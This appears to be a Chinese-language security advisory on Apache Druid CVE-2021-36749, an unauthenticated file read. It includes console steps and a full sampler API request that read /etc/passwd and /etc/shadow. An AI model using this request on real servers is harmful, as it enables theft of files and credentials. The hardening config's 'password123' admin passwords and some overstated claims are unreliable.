Apache Druid ＜=0.21.1 漏洞深度剖析：HTTP InputSource 未授权访问的3层防御失效
Apache Druid HTTP InputSource 安全漏洞的三重防御失效机制解析
漏洞背景与影响范围
Apache Druid作为一款高性能的实时分析数据库，在数据处理领域占据重要地位。2021年曝光的CVE-2021-36749漏洞影响了0.21.1及以下版本，该漏洞允许攻击者在未授权情况下读取服务器任意文件，导致严重的信息泄露风险。
受影响版本：
- Apache Druid ≤ 0.21.1
- 安全版本：Apache Druid ≥ 0.22.0
漏洞成因的三层防御失效
1. 默认无认证机制的设计缺陷
Apache Druid管理界面默认不启用任何身份验证机制，这为攻击者提供了直接入口。在安全评估中，我们发现：
[攻击路径] 无需认证 → 直接访问管理接口 → 获取系统控制权对比分析：
| 安全机制 | 理想状态 | Druid实际实现 |
|---|---|---|
| 身份认证 | 强制认证 | 完全开放 |
| 权限控制 | 最小权限 | 无限制 |
| 访问日志 | 完整记录 | 基础记录 |
2. HTTP InputSource 的未过滤漏洞
InputSource组件负责从外部数据源读取信息，但其HTTP实现存在严重缺陷：
// 伪代码展示漏洞核心 public class HTTPInputSource { public void fetchData(String uri) { // 未对uri协议进行校验 File file = new File(URI.create(uri)); return Files.readAllBytes(file); } }攻击向量：
- 利用
file://协议读取本地文件 - 通过
http://访问内网服务 - 使用特殊构造的URI绕过基础检查
3. 权限继承机制的滥用
Druid服务进程通常以较高权限运行，导致漏洞影响被放大：
# 典型Druid进程权限 $ ps aux | grep druid druid 12345 1.5 2.8 1023456 89456 ? Ssl 10:00 0:15 /usr/bin/java -server -Xms256m -Xmx256m关键风险点：
- 进程默认拥有运行用户的所有权限
- 可访问系统关键文件（如
/etc/passwd） - 能够读取应用配置文件获取数据库凭证
漏洞利用的实战分析
基础利用方式
通过Web界面直接触发漏洞：
- 访问
http://target:8888/unified-console.html - 导航至
Load data → HTTP(s) → Connect data - 在URIs字段输入
file///etc/passwd - 点击Apply执行读取操作
API接口直接利用
当Web界面不可用时，可直接调用后端API：
POST /druid/indexer/v1/sampler HTTP/1.1 Host: target:8888 Content-Type: application/json { "type": "index", "spec": { "ioConfig": { "type": "index", "inputSource": { "type": "http", "uris": ["file:///etc/shadow"] } } } }防御措施与修复方案
临时缓解方案
网络层控制：
- 限制Druid端口的外部访问
- 配置防火墙规则只允许可信IP访问
系统层加固：
# 创建专用低权限用户 useradd -r -s /bin/false druid_runtime chown -R druid_runtime:druid_runtime /opt/druid
永久修复方案
升级路径：
| 当前版本 | 建议版本 | 升级注意事项 |
|---|---|---|
| 0.19.0 | 0.22.0 | 需要数据迁移 |
| 0.20.0 | 0.22.0 | 配置兼容性检查 |
| 0.21.0 | 0.22.0 | 直接升级 |
安全配置增强：
在common.runtime.properties中添加：
# 启用基础认证 druid.auth.authenticatorChain=["basic"] druid.auth.basic.initialAdminPassword=password123 druid.auth.basic.initialInternalClientPassword=password123 # 限制InputSource类型 druid.ingestion.security.allowedInputSources=["s3","hdfs"]深度防御体系建设
1. 安全开发实践
- 输入验证框架集成
- 自动化安全测试流程
- 安全设计模式应用
2. 运行时防护
推荐架构：
[客户端] → [WAF] → [认证网关] → [Druid集群] ↓ [审计日志系统]3. 持续监控
关键监控指标：
- 异常文件读取行为
- 非授权API调用
- 敏感文件访问尝试
漏洞的启示与最佳实践
从这次漏洞事件中，我们可以总结出以下关键经验：
默认安全原则：
- 新安装应默认启用安全配置
- 提供明确的安全指引文档
组件隔离策略：
- 网络分区部署
- 最小权限运行
纵深防御体系：
- 多层验证机制
- 输入输出过滤
- 行为监控审计
在实际生产环境中，我们建议不仅修复该特定漏洞，更要建立全面的安全开发生命周期，将安全考量融入每个设计和实现环节。